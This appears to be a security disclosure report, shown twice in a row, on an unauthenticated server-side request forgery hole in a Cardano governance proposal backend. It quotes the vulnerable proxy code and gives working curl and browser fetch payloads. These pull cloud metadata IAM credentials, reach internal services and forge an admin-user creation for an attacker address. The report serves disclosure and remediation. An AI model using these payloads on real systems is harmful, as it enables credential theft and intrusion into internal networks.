Context
Received via the security mailbox. I’m logging it here so we have proper tracking in place.
Summary
Any anonymous internet user can send a single POST request to /api/proxy on the govtool-proposal-pillar backend and make the server fetch any URL they choose. The server returns the full response body. The attacker controls the URL, the HTTP method, the request headers, the query parameters, and the request body. Authentication is explicitly disabled on this route (auth: false). In a cloud deployment, this hands the attacker temporary IAM credentials from the instance metadata service, access to internal databases, and the ability to forge requests against any service on the internal network.
The endpoint exists in production code. The CI/CD pipeline (.github/workflows/merge.yaml) deploys to Qovery on the dev, qa, pre-prod, and main branches. The frontend never calls this endpoint. It appears to be a development convenience proxy that shipped to production and was never removed.
Vulnerability Details
Vulnerability Type: Server-Side Request Forgery (CWE-918)
CVSS 3.1: 9.1 Critical AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Repository: IntersectMBO/govtool-proposal-pillar
Affected file: backend/src/api/proxy/controllers/proxy.js, lines 6-16
Route config: backend/src/api/proxy/routes/proxy.js, lines 7-12
Root Cause
The proxy controller takes five parameters from the POST body and passes all of them directly into axios():
// backend/src/api/proxy/controllers/proxy.js, lines 6-16
async forward(ctx) {
const {
url, // attacker-controlled
method = "GET", // attacker-controlled
data = {}, // attacker-controlled
params = {}, // attacker-controlled
headers = {}, // attacker-controlled
} = ctx.request.body;
const response = await axios({ url, method, data, params, headers });
ctx.send({ status: response.status, data: response.data });
}
There is no URL allowlist. No IP blocklist. No scheme restriction. No authentication.
The route configuration explicitly disables auth and grants public access:
// backend/src/api/proxy/routes/proxy.js, lines 7-12
{
method: 'POST',
path: '/proxy',
handler: 'proxy.forward',
config: {
roles: ['authenticated', 'public'],
auth: false
},
}
Additional SSRF endpoints in the same file
Two more unauthenticated endpoints exist in the same controller:
GET /api/proxy/govtool/:endpoint* (line 28-49): Concatenates a user-controlled wildcard endpoint parameter onto GOVTOOL_API_BASE_URL. The path is not validated, so the attacker can traverse or extend the URL. Also auth: false.
POST /api/proxy/govtool/:endpoint* (line 52-76): Same pattern for POST requests. Also auth: false.
Both return the full response body. Both have commented-out Authorization headers, suggesting auth was disabled during development and never re-enabled.
I searched the entire repository for any URL validation, IP filtering, or allowlisting. Nothing exists. I also checked config/middlewares.js for any custom request filtering. The middleware stack is default Strapi security headers only.
The frontend code (pdf-ui/src/lib/api.js) only calls /api/proxy/govtool/..., never the generic /api/proxy POST endpoint. This confirms the generic proxy is dead code that was never cleaned up before deployment.
Steps to reproduce
Steps to Reproduce
No credentials are needed. That is the bug.
- Cloud metadata exfiltration (AWS)
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET"
}'
If deployed on AWS, the response contains the IAM role name. Follow up with:
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET"
}'
The response contains AccessKeyId, SecretAccessKey, and Token. These are live, temporary AWS credentials.
- Internal service access
The docker-compose.yaml in the repo names the PostgreSQL container database. From inside the Docker network:
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://database:5432/",
"method": "GET"
}'
3. Strapi admin panel on localhost
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://localhost:1337/admin",
"method": "GET"
}'
- Arbitrary POST requests to internal services
The attacker controls everything, not just the URL:
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://internal-api:8080/admin/users",
"method": "POST",
"data": {"role": "admin", "email": "attacker@evil.com"},
"headers": {"Authorization": "Bearer ", "Content-Type": "application/json"}
}'
5. Cross-origin exploitation from any website
Any malicious website can trigger this via the visitor's browser, since Strapi does not restrict CORS on custom routes by default:
fetch('https:///api/proxy', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({url: 'http://169.254.169.254/latest/meta-data/', method: 'GET'})
}).then(r => r.json()).then(console.log);
Expected behavior: The /api/proxy endpoint should not exist, or should require authentication and restrict URLs to an allowlist.
Actual behavior: Any unauthenticated user sends any URL and gets the full response back. The server is an open HTTP proxy.
Actual behavior
Impact
This is not limited SSRF. This is a fully controllable HTTP proxy with zero access controls. The attacker controls all five parameters of the outgoing request and reads the complete response.
Cloud credential theft. The application deploys to cloud infrastructure via Qovery. If the underlying compute has an IAM role (standard for any AWS/GCP/Azure deployment), the attacker reads those credentials in one request. Those credentials grant whatever permissions the deployment role has: S3 access, database access, secrets manager, other cloud services.
Internal network traversal. Every service reachable from the server's network is accessible. In the Docker deployment, that includes database (PostgreSQL on port 5432) and any other containers on the same network. In a Kubernetes deployment (which the CI pipeline deploys to), that includes every service in the same namespace and potentially cross-namespace services.
Full request forgery. Because the attacker controls the HTTP method, headers, and body, they can do more than read. They can forge POST, PUT, and DELETE requests against internal APIs. If any internal service trusts requests from the backend's IP, the attacker inherits that trust.
Governance impact. This backend serves the GovTool Proposal Pillar, which handles Cardano governance proposals. Compromise of this service undermines the integrity of the proposal submission and review process.
Expected behavior
Recommended Fix
Delete the forward() handler and its route entirely. The frontend does not use it. If a proxy is needed for the govtool API, the existing getGovtoolData and postGovtoolData handlers (which are scoped to GOVTOOL_API_BASE_URL) serve that purpose, though they also need auth enabled and path validation added.
For the govtool proxy endpoints specifically: set auth: true, validate that the endpoint parameter does not contain path traversal sequences, and add an explicit allowlist of permitted endpoint paths.
Supporting Materials
backend/src/api/proxy/controllers/proxy.js lines 6-16: unrestricted proxy
backend/src/api/proxy/routes/proxy.js lines 7-12: auth: false, roles: ['public']
backend/src/api/proxy/controllers/proxy.js lines 28-76: secondary SSRF endpoints
.github/workflows/merge.yaml: CI/CD deploying to Qovery on main/pre-prod/qa/dev
docker-compose.yaml: internal service names (database, etc.)
pdf-ui/src/lib/api.js: frontend only uses /api/proxy/govtool/, confirming /api/proxy is dead code
Context
Received via the security mailbox. I’m logging it here so we have proper tracking in place.
Summary
Any anonymous internet user can send a single POST request to /api/proxy on the govtool-proposal-pillar backend and make the server fetch any URL they choose. The server returns the full response body. The attacker controls the URL, the HTTP method, the request headers, the query parameters, and the request body. Authentication is explicitly disabled on this route (auth: false). In a cloud deployment, this hands the attacker temporary IAM credentials from the instance metadata service, access to internal databases, and the ability to forge requests against any service on the internal network.
The endpoint exists in production code. The CI/CD pipeline (.github/workflows/merge.yaml) deploys to Qovery on the dev, qa, pre-prod, and main branches. The frontend never calls this endpoint. It appears to be a development convenience proxy that shipped to production and was never removed.
Vulnerability Details
Vulnerability Type: Server-Side Request Forgery (CWE-918)
CVSS 3.1: 9.1 Critical AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Repository: IntersectMBO/govtool-proposal-pillar
Affected file: backend/src/api/proxy/controllers/proxy.js, lines 6-16
Route config: backend/src/api/proxy/routes/proxy.js, lines 7-12
Root Cause
The proxy controller takes five parameters from the POST body and passes all of them directly into axios():
// backend/src/api/proxy/controllers/proxy.js, lines 6-16
async forward(ctx) {
const {
url, // attacker-controlled
method = "GET", // attacker-controlled
data = {}, // attacker-controlled
params = {}, // attacker-controlled
headers = {}, // attacker-controlled
} = ctx.request.body;
const response = await axios({ url, method, data, params, headers });
ctx.send({ status: response.status, data: response.data });
}
There is no URL allowlist. No IP blocklist. No scheme restriction. No authentication.
The route configuration explicitly disables auth and grants public access:
// backend/src/api/proxy/routes/proxy.js, lines 7-12
{
method: 'POST',
path: '/proxy',
handler: 'proxy.forward',
config: {
roles: ['authenticated', 'public'],
auth: false
},
}
Additional SSRF endpoints in the same file
Two more unauthenticated endpoints exist in the same controller:
GET /api/proxy/govtool/:endpoint* (line 28-49): Concatenates a user-controlled wildcard endpoint parameter onto GOVTOOL_API_BASE_URL. The path is not validated, so the attacker can traverse or extend the URL. Also auth: false.
POST /api/proxy/govtool/:endpoint* (line 52-76): Same pattern for POST requests. Also auth: false.
Both return the full response body. Both have commented-out Authorization headers, suggesting auth was disabled during development and never re-enabled.
I searched the entire repository for any URL validation, IP filtering, or allowlisting. Nothing exists. I also checked config/middlewares.js for any custom request filtering. The middleware stack is default Strapi security headers only.
The frontend code (pdf-ui/src/lib/api.js) only calls /api/proxy/govtool/..., never the generic /api/proxy POST endpoint. This confirms the generic proxy is dead code that was never cleaned up before deployment.
Steps to reproduce
Steps to Reproduce
No credentials are needed. That is the bug.
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET"
}'
If deployed on AWS, the response contains the IAM role name. Follow up with:
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET"
}'
The response contains AccessKeyId, SecretAccessKey, and Token. These are live, temporary AWS credentials.
The docker-compose.yaml in the repo names the PostgreSQL container database. From inside the Docker network:
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://database:5432/",
"method": "GET"
}'
3. Strapi admin panel on localhost
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://localhost:1337/admin",
"method": "GET"
}'
The attacker controls everything, not just the URL:
curl -X POST https:///api/proxy
-H "Content-Type: application/json"
-d '{
"url": "http://internal-api:8080/admin/users",
"method": "POST",
"data": {"role": "admin", "email": "attacker@evil.com"},
"headers": {"Authorization": "Bearer ", "Content-Type": "application/json"}
}'
5. Cross-origin exploitation from any website
Any malicious website can trigger this via the visitor's browser, since Strapi does not restrict CORS on custom routes by default:
fetch('https:///api/proxy', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({url: 'http://169.254.169.254/latest/meta-data/', method: 'GET'})
}).then(r => r.json()).then(console.log);
Expected behavior: The /api/proxy endpoint should not exist, or should require authentication and restrict URLs to an allowlist.
Actual behavior: Any unauthenticated user sends any URL and gets the full response back. The server is an open HTTP proxy.
Actual behavior
Impact
This is not limited SSRF. This is a fully controllable HTTP proxy with zero access controls. The attacker controls all five parameters of the outgoing request and reads the complete response.
Cloud credential theft. The application deploys to cloud infrastructure via Qovery. If the underlying compute has an IAM role (standard for any AWS/GCP/Azure deployment), the attacker reads those credentials in one request. Those credentials grant whatever permissions the deployment role has: S3 access, database access, secrets manager, other cloud services.
Internal network traversal. Every service reachable from the server's network is accessible. In the Docker deployment, that includes database (PostgreSQL on port 5432) and any other containers on the same network. In a Kubernetes deployment (which the CI pipeline deploys to), that includes every service in the same namespace and potentially cross-namespace services.
Full request forgery. Because the attacker controls the HTTP method, headers, and body, they can do more than read. They can forge POST, PUT, and DELETE requests against internal APIs. If any internal service trusts requests from the backend's IP, the attacker inherits that trust.
Governance impact. This backend serves the GovTool Proposal Pillar, which handles Cardano governance proposals. Compromise of this service undermines the integrity of the proposal submission and review process.
Expected behavior
Recommended Fix
Delete the forward() handler and its route entirely. The frontend does not use it. If a proxy is needed for the govtool API, the existing getGovtoolData and postGovtoolData handlers (which are scoped to GOVTOOL_API_BASE_URL) serve that purpose, though they also need auth enabled and path validation added.
For the govtool proxy endpoints specifically: set auth: true, validate that the endpoint parameter does not contain path traversal sequences, and add an explicit allowlist of permitted endpoint paths.
Supporting Materials
backend/src/api/proxy/controllers/proxy.js lines 6-16: unrestricted proxy
backend/src/api/proxy/routes/proxy.js lines 7-12: auth: false, roles: ['public']
backend/src/api/proxy/controllers/proxy.js lines 28-76: secondary SSRF endpoints
.github/workflows/merge.yaml: CI/CD deploying to Qovery on main/pre-prod/qa/dev
docker-compose.yaml: internal service names (database, etc.)
pdf-ui/src/lib/api.js: frontend only uses /api/proxy/govtool/, confirming /api/proxy is dead code